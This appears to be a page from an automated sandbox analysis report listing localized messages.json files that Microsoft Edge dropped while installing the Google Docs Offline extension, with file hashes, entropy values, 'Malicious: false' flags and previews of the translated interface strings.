C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4920_301377348\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
